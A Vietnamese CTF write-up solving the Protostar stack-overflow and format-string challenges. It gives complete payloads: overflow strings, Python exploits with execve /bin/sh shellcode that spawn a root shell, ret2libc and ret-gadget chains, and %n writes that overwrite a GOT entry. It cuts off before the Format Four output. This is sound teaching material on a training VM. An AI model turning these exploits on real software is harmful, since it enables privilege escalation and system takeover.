# protostar
## Stack Zero
Trong đoạn source code của chương trình:
```
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
modified = 0;
gets(buffer);
if(modified != 0) {
printf("you have changed the 'modified' variable\n");
} else {
printf("Try again?\n");
}
}
```
- Có sử dụng ```buffer[64]``` và hàm ```gets(buffer)``` trong đó _[64]_ là size của buffer (64 ký tự) còn _gets()_ đọc một lượng dữ liệu ngẫu nhiên đi vào trong stack buffer.
- Vì không có cách nào có thể giới hạn số lượng dữ liệu được đọc bởi hàm này nên chỉ cần nhập nhiều hơn 64 ký tự vào thì _modified_ sẽ tự động khác 0 (!=0) và điều kiện sẽ đúng.
payload:
```
./stack0 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
```
## Stack One
Tương tự như _Stack Zero_ nhưng thay vì chỉ cần != 0 thì bài này cần nhập vào 1 giá trị cụ thể ```0x61626364```:
```
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
if(argc == 1) {
errx(1, "please specify an argument\n");
}
modified = 0;
strcpy(buffer, argv[1]);
if(modified == 0x61626364) {
printf("you have correctly got the variable to the right value\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
```
- Vẫn làm đầy buffer bằng cách ghi 64 bytes bất kì (ở đây dùng "a") sau đó ghi thêm vào phía sau giá trị ```0x61626364``` vào cuối là được.
- Lưu ý: Giá trị được lưu theo kiểu little endian nên sẽ phải ghi ngược lại
payload:
```
./stack1 $(echo -e "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x64\x63\x62\x61")
```
(cú pháp echo: _echo -e "something here"_)
## Stack Two
```
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
char *variable;
variable = getenv("GREENIE");
if(variable == NULL) {
errx(1, "please set the GREENIE environment variable\n");
}
modified = 0;
strcpy(buffer, variable);
if(modified == 0x0d0a0d0a) {
printf("you have correctly modified the variable\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
```
Trong đoạn code, có sử dụng đến _environment_ "GREENIE" được copy vào buffer qua _strcpy_ . Vậy vẫn theo cách của bài Stack One, đặt biến môi trường "GREENIE" thành aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x0a\x0d\x0a\x0d":
- Cú pháp đặt giá trị cho biến môi trường : ```export NAME=VALUE``` -> Để đặt GREENIE thành cái aaa... thì viết như sau:
```
export GREENIE=$(echo -e "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x0a\x0d\x0a\x0d")
```
- Để kiểm tra lại xem biến "GREENIE" đã được đặt đúng chưa có thể dùng lệnh sau để in ra biến môi trường "GREENIE":
```
env | grep GREENIE
```
- Nếu đúng thì nó sẽ trông như thế này:
```
user@protostar:/opt/protostar/bin$ env | grep GREENIE
GREENIE=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
```
- Cuối cùng thì chạy ```./stack2``` là được.
## Stack Three
Thay vì dùng biến int _modified_ thì ở đây dùng function pointer _fp_, vì vậy có thể thay đổi cả flow của đoạn code:
```
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
volatile int (*fp)();
char buffer[64];
fp = 0;
gets(buffer);
if(fp) {
printf("calling function pointer, jumping to 0x%08x\n", fp);
fp();
}
}
```
- Việc cần làm là làm đầy cái buffer rồi viết địa chỉ của hàm _win_ vào function pointer để khi gọi hàm _fp()_ thì nó chạy đoạn _printf("code flow successfully changed\n");_
- Bắt đầu bằng mở stack3 trong gdb: ```gdb stack3```
- Đổi qua dùng Intel disassembly style: ```set disassembly-flavor intel```
(https://stackoverflow.com/questions/55040576/how-to-change-the-disassembly-syntax-to-intel-using-gdb)
- Disassembly code hàm _win_: ```disass win``` thu được đoạn sau:
(https://www.cs.swarthmore.edu/~newhall/cs31/resources/ia32_gdb.php)

- Thay địa chỉ hàm _win_ vào payload:
```
echo -e "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x24\x84\x04\x08" | ./stack3
```
## Stack Four
- Để in ra nội dung assembly của một đoạn code được thực thi, có thể dùng ```objdump -d <file>``` (https://www.geeksforgeeks.org/objdump-command-in-linux-with-examples/):
```
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
```
- Ở đây sử dụng _objdump -d_ với file _stack4_ như sau: ```objdump -d stack4``` và dựa vào code cho sẵn thì nên tập trung vào hàm _win()_
-> Sử dụng ```objdump -d stack4 | grep win``` thu được:
```
080483f4 <win>:
```
- Đã lấy được địa chỉ của _win_, chỉ cần chèn nó vào payload như bài Stack Three:
```
echo -e "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xf4\x83\x04\x08" | ./stack4
```
- Không có gì xảy ra (chưa tràn buffer -> Thêm từng int cho đến khi nó tràn vì theo hint: EIP is not directly after the end of buffer, compiler padding can also increase the size -> có thể buffer được mở rộng kích thước) -> payload:
```
echo -e "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xf4\x83\x04\x08" | ./stack4
```
## Stack Five
Giới thiệu về shellcode (http://shell-storm.org/shellcode/files/shellcode-575.html):
```
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
```
- Tương tự bài trên, tạo 1 pattern (76 ký tự) sau vào file _alpha.txt_:
```echo -e "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS" > ~/alpha.txt```
- Mở stack5 trong gdb để tìm địa chỉ nhảy đến khi _ret_ bằng _gdb stack5_
- Sau khi ```disass main```, đặt breakpoint ở dòng _0x080483da <main+22>: ret_ bằng ```b *0x080483da```
- Chạy với file _alpha.txt_ trong gdb: ```(gdb) r > ~/alpha.txt```
- Sau đó in ra giá trị tại địa chỉ ESP trong debug bằng ```x/1wx $esp``` (in 1 giá trị dưới dạng số nguyên theo định dạng hex). Thu được:
```
0xbffff7bc: 0xb7eadc76
```
- Có địa chỉ và có pattern, viết 1 file python đơn giản để chèn vào stack5:
```
import struct
padding="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
shellcode="\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"
nopSlide="\x90"*300
jmpTo=struct.pack("<I",0xbffff7bc+150)
print (padding+jmpTo+nopSlide+shellcode)
```
- Sau đó chạy cùng với stack5 trong payload:
```
(python ~/stack5.py; cat) | ./stack5
```
- Kết quả thu được:
```
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
```
## Stack Six
ret2libc
```
void getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
}
int main(int argc, char **argv)
{
getpath();
}
```
- Từ pattern cũ của Stack Five, ở bài này có thêm 1 int nữa ở dòng ```unsigned int ret``` nên thêm vào 4 bytes ở pattern -> Có pattern mới: "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"
- Khai thác lỗi: return được hàm được định nghĩa trong thư viện c binary (nên là hàm system vì system được dùng để chạy lệnh shell -> return system function) -> Cần tìm system function pointer, /bin/sh (shell), libc address để chèn vào payload.
- Mở stack6 trong gdb -> Đặt breakpoint tại hàm main để tìm hàm system sau đó dùng ```print system``` để in ra địa chỉ của system -> Thu được:
```
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>
```
- Tìm trong thư viện _(lib)_ có _libc_ và cần tìm shell -> Dùng lệnh ```strings -a -t x /lib/libc-2.11.2.so | grep /bin/sh``` để tìm được địa chỉ /bin/sh trong thư viện c _libc-2.11.2.so_ thu được:
```
11f3bf /bin/sh
```
- Trong gdb khi debug có thể dùng ```info proc map``` để xem thông tin về memory mappings của chương trình đang được debug. Sử dụng ở đây với mục đích xem _start addr_ của thư viện c _libc-2.11.2.so_ :

- Có thể thấy rằng thư viện có địa chỉ bắt đầu ở _0xb7e97000_
- Hàm _system_ cần có 1 địa chỉ return trong stack nhưng ở bài này địa chỉ đó, sau khi thực thi /bin/sh, không quan trọng đối với chúng ta. Tuy nhiên nếu không có thì code sẽ bị lỗi -> Thêm 1 địa chỉ bất kì đủ 8byte vào để làm địa chỉ return cho hàm _system_
-> Code python chèn payload:
```
import struct
padding="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"
systemPointer=struct.pack("<I",0xb7ecffb0) <-- Vừa tìm được ở system function
binShPointer=struct.pack("<I",0xb7e97000+0x11f3bf) <-- Địa chỉ bắt đầu của thư viện (Start Addr) + Địa chỉ của /bin/sh trong thư viện đó
returnAddr=struct.pack("<I",0x99999999) <-- Một địa chỉ bất kỳ để làm return addr cho system function
print (padding+systemPointer+returnAddr+binShPointer)
```
payload:
```
(python ~/stack6.py; cat) | ./stack6
```
- Kết quả thu được:
```
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP���RRRRSSSSTTTT��췙����c��
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
```
## Stack Seven
(https://developer.arm.com/documentation/101655/latest/8051-Instruction-Set-Manual/Instructions/RET#:~:text=The%20RET%20instruction%20pops%20the,are%20affected%20by%20this%20instruction)
```
char *getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xb0000000) == 0xb0000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
return strdup(buffer);
}
int main(int argc, char **argv)
{
getpath();
}
```
- Dựa theo RET Instruction (link trên) thì chỉ cần _return_ cái địa chỉ của ret là được.
- Mở stack7 trong gdb bằng ```gdb stack7``` sau đó disassembly hàm _getpath()_ để xem flow chương trình và tìm địa chỉ của ret. Thu được:
```
(gdb) disass getpath
Dump of assembler code for function getpath:
0x080484c4 <getpath+0>: push ebp
0x080484c5 <getpath+1>: mov ebp,esp
0x080484c7 <getpath+3>: sub esp,0x68
0x080484ca <getpath+6>: mov eax,0x8048620
0x080484cf <getpath+11>: mov DWORD PTR [esp],eax
0x080484d2 <getpath+14>: call 0x80483e4 <printf@plt>
0x080484d7 <getpath+19>: mov eax,ds:0x8049780
0x080484dc <getpath+24>: mov DWORD PTR [esp],eax
0x080484df <getpath+27>: call 0x80483d4 <fflush@plt>
0x080484e4 <getpath+32>: lea eax,[ebp-0x4c]
0x080484e7 <getpath+35>: mov DWORD PTR [esp],eax
0x080484ea <getpath+38>: call 0x80483a4 <gets@plt>
0x080484ef <getpath+43>: mov eax,DWORD PTR [ebp+0x4]
0x080484f2 <getpath+46>: mov DWORD PTR [ebp-0xc],eax
0x080484f5 <getpath+49>: mov eax,DWORD PTR [ebp-0xc]
0x080484f8 <getpath+52>: and eax,0xb0000000
0x080484fd <getpath+57>: cmp eax,0xb0000000
0x08048502 <getpath+62>: jne 0x8048524 <getpath+96>
0x08048504 <getpath+64>: mov eax,0x8048634
0x08048509 <getpath+69>: mov edx,DWORD PTR [ebp-0xc]
0x0804850c <getpath+72>: mov DWORD PTR [esp+0x4],edx
0x08048510 <getpath+76>: mov DWORD PTR [esp],eax
0x08048513 <getpath+79>: call 0x80483e4 <printf@plt>
0x08048518 <getpath+84>: mov DWORD PTR [esp],0x1
0x0804851f <getpath+91>: call 0x80483c4 <_exit@plt>
0x08048524 <getpath+96>: mov eax,0x8048640
0x08048529 <getpath+101>: lea edx,[ebp-0x4c]
0x0804852c <getpath+104>: mov DWORD PTR [esp+0x4],edx
0x08048530 <getpath+108>: mov DWORD PTR [esp],eax
0x08048533 <getpath+111>: call 0x80483e4 <printf@plt>
0x08048538 <getpath+116>: lea eax,[ebp-0x4c]
0x0804853b <getpath+119>: mov DWORD PTR [esp],eax
0x0804853e <getpath+122>: call 0x80483f4 <strdup@plt>
0x08048543 <getpath+127>: leave
0x08048544 <getpath+128>: ret
End of assembler dump.
```
- Có thể thấy địa chỉ của ret bắt đầu bằng "0x0..." phù hợp với điều kiện khác "0xb..." trong source code
- Lấy địa chỉ của _ret_ (0x08048544) vào trong file python rồi làm tương tự như Stack Six:
```
import struct
padding="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"
systemPointer=struct.pack("<I",0xb7ecffb0)
binShPointer=struct.pack("<I",0xb7e97000+0x11f3bf)
returnAddr=struct.pack("<I",0x99999999)
popReturn=struct.pack("<I",0x08048544)
print (padding+popReturn+systemPointer+returnAddr+binShPointer)
```
- Khi địa chỉ đúng với điều kiện, hàm _getpath()_ sẽ chạy đến ```return strdup(buffer);``` và sau đó code sẽ hoạt động tương tự bài trên
payload:
```
(python ~/stack7.py; cat) | /opt/protostar/bin/stack7
```
- Kết quả thu được:
```
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPD�RRRRSSSSTTTTD���췙����c��
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
```
## Format Zero
- Mục tiêu là đặt target == 0xdeadbeef. ```sprintf(buffer, string);``` được định nghĩa như sau (https://quantrimang.com/hoc/ham-sprintf-trong-c-157878) -> _string_ > 64 ký tự sẽ overwrite được _int target_
```
void vuln(char *string)
{
volatile int target;
char buffer[64];
target = 0;
sprintf(buffer, string);
if(target == 0xdeadbeef) {
printf("you have hit the target correctly :)\n");
}
}
int main(int argc, char **argv)
{
vuln(argv[1]);
}
```
payload:
```
./format0 $(echo -e "%64s\xef\xbe\xad\xde")
```
(64 ký tự + little endian của 0xdeadbeef)
## Format One
- Tìm _target_ ở đâu trong stack sau đó sử dụng ```%n``` để modify nó.
```
int target;
void vuln(char *string)
{
printf(string);
if(target) {
printf("you have modified the target :)\n");
}
}
int main(int argc, char **argv)
{
vuln(argv[1]);
}
```
- Sử dụng ```objdump -t format1``` (hint) để tìm vị trí của _target_ (có thể _grep target_ để tìm được địa chỉ của _target_). Thu được:
```
08049638 g O .bss 00000004 target
```
- Dựa vào lỗ hổng format, có thể viết trực tiếp vào một địa chỉ bộ nhớ (arbitrary memory).
- Hint "and your input string lies far up the stack :)" cho thấy input string nằm rất xa so với pointer hiện tại. Cần phải xác định vị trí bắt đầu của input string.
- _%x_ in ra 4 bytes tiếp theo của ngăn xếp và di chuyển pointer về phía trước cùng một lượng byte (4). Sử dụng _stack popping_ tăng dần giá trị ESP cho đến khi tìm được vị trí của chuỗi trên ngăn xếp (trong code là "AAAA" ~ "0x41414141"):
```
./format1 $(python -c "print 'AAAA' + '%x.'*129 + '%x'")
```
Thu được:
```
AAAA804960c.bffff658.8048469.b7fd8304.b7fd7ff4.bffff658.8048435.bffff827.b7ff1040.804845b.b7fd7ff4.8048450.0.bffff6d8.b7eadc76.2.bffff704.bffff710.b7fe1848.bffff6c0.ffffffff.b7ffeff4.804824d.1.bffff6c0.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.0.0.bffff6d8.eafb546b.c0afe27b.0.0.0.2.8048340.0.b7ff6210.b7eadb9b.b7ffeff4.2.8048340.0.8048361.804841c.2.bffff704.8048450.8048440.b7ff1040.bffff6fc.b7fff8f8.2.bffff81d.bffff827.0.bffff9b1.bffff9bf.bffff9d3.bffff9f4.bffffa07.bffffa11.bfffff01.bfffff3f.bfffff53.bfffff6a.bfffff7b.bfffff83.bfffff93.bfffffa0.bfffffd4.bfffffe6.0.20.b7fe2414.21.b7fe2000.10.1f8bfbff.6.1000.11.64.3.8048034.4.20.5.7.7.b7fe3000.8.0.9.8048340.b.3e9.c.0.d.3e9.e.3e9.17.1.19.bffff7fb.1f.bffffff2.f.bffff80b.0.0.0.7000000.ca8a2adf.7d8a0a8b.824e7a70.696b894c.363836.0.0.0.662f2e00.616d726f.41003174.41414141
```

(Thông tin trong ảnh được tìm thấy ở: https://www.codeproject.com/Articles/5222313/Basic-x86-32bit-Formatted-String-Exploits-in-Linux)
- Thay _%x_ thành _%n_ (_%n_ ghi số byte đã được ghi từ hàm format string vào một địa chỉ bộ nhớ (memory address) được tham chiếu bởi một pointer) để overwrite _target_ thành địa chỉ của nó -> payload:
```
./format1 $(python -c "print '\x38\x96\x04\x08' + '%x.'*129 + '%n'")
```
Thu được:
```
AAAA804960c.bffff658.8048469.b7fd8304.b7fd7ff4.bffff658.8048435.bffff827.b7ff1040.804845b.b7fd7ff4.8048450.0.bffff6d8.b7eadc76.2.bffff704.bffff710.b7fe1848.bffff6c0.ffffffff.b7ffeff4.804824d.1.bffff6c0.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.0.0.bffff6d8.eafb546b.c0afe27b.0.0.0.2.8048340.0.b7ff6210.b7eadb9b.b7ffeff4.2.8048340.0.8048361.804841c.2.bffff704.8048450.8048440.b7ff1040.bffff6fc.b7fff8f8.2.bffff81d.bffff827.0.bffff9b1.bffff9bf.bffff9d3.bffff9f4.bffffa07.bffffa11.bfffff01.bfffff3f.bfffff53.bfffff6a.bfffff7b.bfffff83.bfffff93.bfffffa0.bfffffd4.bfffffe6.0.20.b7fe2414.21.b7fe2000.10.1f8bfbff.6.1000.11.64.3.8048034.4.20.5.7.7.b7fe3000.8.0.9.8048340.b.3e9.c.0.d.3e9.e.3e9.17.1.19.bffff7fb.1f.bffffff2.f.bffff80b.0.0.0.7000000.ca8a2adf.7d8a0a8b.824e7a70.696b894c.363836.0.0.0.662f2e00.616d726f.41003174.you have modified the target :)
```
## Format Two
- Tương tự format1 nhưng ở đây phải viết 1 giá trị cụ thể cho _target_
```
int target;
void vuln()
{
char buffer[512];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
if(target == 64) {
printf("you have modified the target :)\n");
} else {
printf("target is %d :(\n", target);
}
}
int main(int argc, char **argv)
{
vuln();
}
```
- Tìm vị trí của input string (tương tự bài trước):
```
./format2 $(python -c "print 'AAAA' + '%x.'*100 + '%x'")
```
Thu được:
```
target is 0 :(
```
- Tương tự bài trước dùng ```objdump -t``` tìm được địa chỉ _target_ là "0x80496e4"
- Chạy song song python và format2 để in ra -> Thu được:
```
user@protostar:/opt/protostar/bin$ python -c "print '\xe4\x96\x04\x08' + '%x.'*100 + '%n'" | ./format2
�200.b7fd8420.bffff614.80496e4.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.a6e25.bffff724.b7fffbe8.e.b7ea36e4.b7fe1afc.f63d4e2e.0.3.b7fff8f8.0.0.1.892.b7fe1b28.b7fe1848.8048285.b7ea3f14.80481f4.1.b7ffeff4.
target is 0 :(
```
- Điều chỉnh lại payload: ```python -c "print '\xe4\x96\x04\x08' + '%x.'*3 + '%n'" | ./format2``` (100->3) -> Thu được:
```
�200.b7fd8420.bffff614.
target is 26 :(
```
- Theo đề bài ```if(target == 64) {``` -> chỉ cần thay đổi giá trị _target_ sao cho nó bằng 64 -> Có payload:
```
python -c "print '\xe4\x96\x04\x08' + '%x.'*3 + 'a'*38 + '%n'" | ./format2
```
Thu được:
```
�200.b7fd8420.bffff614.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
you have modified the target :)
```
## Format Three
Source code:
```
int target;
void printbuffer(char *string)
{
printf(string);
}
void vuln()
{
char buffer[512];
fgets(buffer, sizeof(buffer), stdin);
printbuffer(buffer);
if(target == 0x01025544) {
printf("you have modified the target :)\n");
} else {
printf("target is %08x :(\n", target);
}
}
int main(int argc, char **argv)
{
vuln();
}
```
- Tương tự như format 2 ngoại trừ việc bây giờ phải kiểm soát chính xác những gì được ghi vào _target_
- Tìm địa chỉ bắt đầu của input string bằng ```python -c "print 'AAAA' + '%x.'*100 + '%x'" | ./format3``` thu được:
```
AAAA0.bffff5d0.b7fd7ff4.0.0.bffff7d8.804849d.bffff5d0.200.b7fd8420.bffff614.41414141.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.a7825.bffff724.b7fffbe8.e.b7ea36e4.b7fe1afc.f63d4e2e.0.3.b7fff8f8.0.0.1.892
target is 00000000 :(
```
- Sử dụng ```objdump -t``` để tìm địa chỉ của _target_ -> thu được địa chỉ _target_:
```
080496f4 g O .bss 00000004 target
```
- Thay địa chỉ _target_ vào payload -> có payload ```python -c "print '\xf4\x96\x04\x08' + '%x.'*11 + '%n'" | ./format3``` (thay thành %n để ghi đè). Thu được:
```
�0.bffff5d0.b7fd7ff4.0.0.bffff7d8.804849d.bffff5d0.200.b7fd8420.bffff614.
target is 0000004c :(
```
- ```target is 0000004c :(``` chứng tỏ đã ghi đè thành công _target_
- Thay đổi payload 1 chút (có sử dụng bruteforce) -> Có payload:
```
python -c 'print "\xf4\x96\x04\x08" + "%16930112x%12$08n"' | ./format3
```
Trong đó:
- _\xf4\x96\x04\x08_ ghi đè lên return address
- _%16930112x_ ghi đè giá trị _target_ thành 0x01025544 (bruteforce ra số)
- _%12 08n_ là một định dạng chuỗi khác trong hàm printf để ghi giá trị vào một địa chỉ trong bộ nhớ. %12$ chỉ định rằng giá trị sẽ được ghi vào tham số thứ 12 của hàm printf, và 08n chỉ định rằng giá trị sẽ được ghi dưới dạng một số nguyên có chiều rộng 8 ký tự (ở đây là 8 byte).
- Thu được:
```
0
you have modified the target :)
```
## Format Four
Cần redirect hàm _vuln()_ sang _hello()_:
```
int target;
void hello()
{
printf("code execution redirected! you win\n");
_exit(1);
}
void vuln()
{
char buffer[512];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
exit(1);
}
int main(int argc, char **argv)
{
vuln();
}
```
- Mở _gdb_ xem flow của hàm _vuln()_:
```
(gdb) set disassembly-flavor intel
(gdb) disass vuln
Dump of assembler code for function vuln:
0x080484d2 <vuln+0>: push ebp
0x080484d3 <vuln+1>: mov ebp,esp
0x080484d5 <vuln+3>: sub esp,0x218
0x080484db <vuln+9>: mov eax,ds:0x8049730
0x080484e0 <vuln+14>: mov DWORD PTR [esp+0x8],eax
0x080484e4 <vuln+18>: mov DWORD PTR [esp+0x4],0x200
0x080484ec <vuln+26>: lea eax,[ebp-0x208]
0x080484f2 <vuln+32>: mov DWORD PTR [esp],eax
0x080484f5 <vuln+35>: call 0x804839c <fgets@plt>
0x080484fa <vuln+40>: lea eax,[ebp-0x208]
0x08048500 <vuln+46>: mov DWORD PTR [esp],eax
0x08048503 <vuln+49>: call 0x80483cc <printf@plt>
0x08048508 <vuln+54>: mov DWORD PTR [esp],0x1
0x0804850f <vuln+61>: call 0x80483ec <exit@plt>
End of assembler dump.
```
- Có thể chuyển hướng hàm _exit()_ sang hàm _hello()_ bằng cách ghi đè entry của _exit()_ trong GOT (Global Offset Table). (https://eli.thegreenplace.net/2011/11/03/position-independent-code-pic-in-shared-libraries/)
<!-- - Xem hàm _exit()_ trong gdb bằng ```disass 0x80483ec``` thu được:
```
(gdb) disass 0x80483ec
Dump of assembler code for function exit@plt:
0x080483ec <exit@plt+0>: jmp DWORD PTR ds:0x8049724
0x080483f2 <exit@plt+6>: push 0x30
0x080483f7 <exit@plt+11>: jmp 0x804837c
```
- Có thể thấy hàm _exit()_ đang cố nhảy đến ```0x8049724``` và về cơ bản nó muốn đi đến địa chỉ sau (default) vì vậy chỉ cần overwrite cái địa chỉ đó là được:
```
(gdb) x 0x8049724
0x8049724 <_GLOBAL_OFFSET_TABLE_+36>: 0x080483f2
``` -->
- Hint: objdump -TR is your friend -> Sử dụng ```objdump -TR format4``` thu được
```
user@protostar:/opt/protostar/bin$ objdump -TR format4
format4: file format elf32-i386
DYNAMIC SYMBOL TABLE:
00000000 w D *UND* 00000000 __gmon_start__
00000000 DF *UND* 00000000 GLIBC_2.0 fgets
00000000 DF *UND* 00000000 GLIBC_2.0 __libc_start_main
00000000 DF *UND* 00000000 GLIBC_2.0 _exit
00000000 DF *UND* 00000000 GLIBC_2.0 printf
00000000 DF *UND* 00000000 GLIBC_2.0 puts
00000000 DF *UND* 00000000 GLIBC_2.0 exit
080485ec g DO .rodata 00000004 Base _IO_stdin_used
08049730 g DO .bss 00000004 GLIBC_2.0 stdin
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
080496fc R_386_GLOB_DAT __gmon_start__
08049730 R_386_COPY stdin
0804970c R_386_JUMP_SLOT __gmon_start__
08049710 R_386_JUMP_SLOT fgets
08049714 R_386_JUMP_SLOT __libc_start_main
08049718 R_386_JUMP_SLOT _exit
0804971c R_386_JUMP_SLOT printf
08049720 R_386_JUMP_SLOT puts
08049724 R_386_JUMP_SLOT exit
```
- Tương tự bài trước, trước tiên là đi xác định vị trí input string trong stack bằng ```python -c "print 'AAAA' + '%x.'*100 + '%x'" | ./format4``` thu được:
```
user@protostar:/opt/protostar/bin$ python -c "print 'AAAA' + '%x.'*100 + '%x'" | ./format4
AAAA200.b7fd8420.bffff614.41414141.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.a7825.bffff724.b7fffbe8.e.b7ea36e4.b7fe1afc.f63d4e2e.0.3.b7fff8f8.0.0.1.892.b7fe1b28.b7fe1848.80482b3.b7ea3f14.80481fc.1.b7ffeff4.bffff840
```
-> Sửa lại một chút: ```python -c "print 'AAAA' + '%x.'*3 + '%x'" | ./format4``` để có được vị trí của input string
- Sau đó thử viết hết 4 byte entry của _exit()_ GOT bằng ```python -c "print '\x24\x97\x04\x08\x25\x97\x04\x08\x26\x97\x04\x08\x27\x97\x04\x08' + '%x.'*3 + '%n%n%n%n'"> ~/a```
- Mở gdb rồi chạy format4 cùng với payload trong file python _a_ vừa tạo thu được:
```
(gdb) run < ~/a
Starting program: /opt/protostar/bin/format4 < ~/a
$�%�&�'�200.b7fd8420.bffff5d4.
Program received signal SIGSEGV, Segmentation fault.
0x26262626 in ?? ()
```
- Tìm địa chỉ của hàm _hello()_ để overwrite vào payload:
```
(gdb) print &hello
$1 = (void (*)(void)) 0x80484b4 <hello>
```
- Cuối cùng thay _hello()_ vào payload:
```
python -c "print '\x01\x01\x01\x01\x24\x97\x04\x08\x01\x01\x01\x01\x25\x97\x04\x08\x01\x01\x01\x01\x26\x97\x04\x08\x01\x01\x01\x01\x27\x97\x04\x08' + '%x.'*3 + '%126u%n%208u%n%128u%n%260u%n'" | ./format4
```
thu được:
```
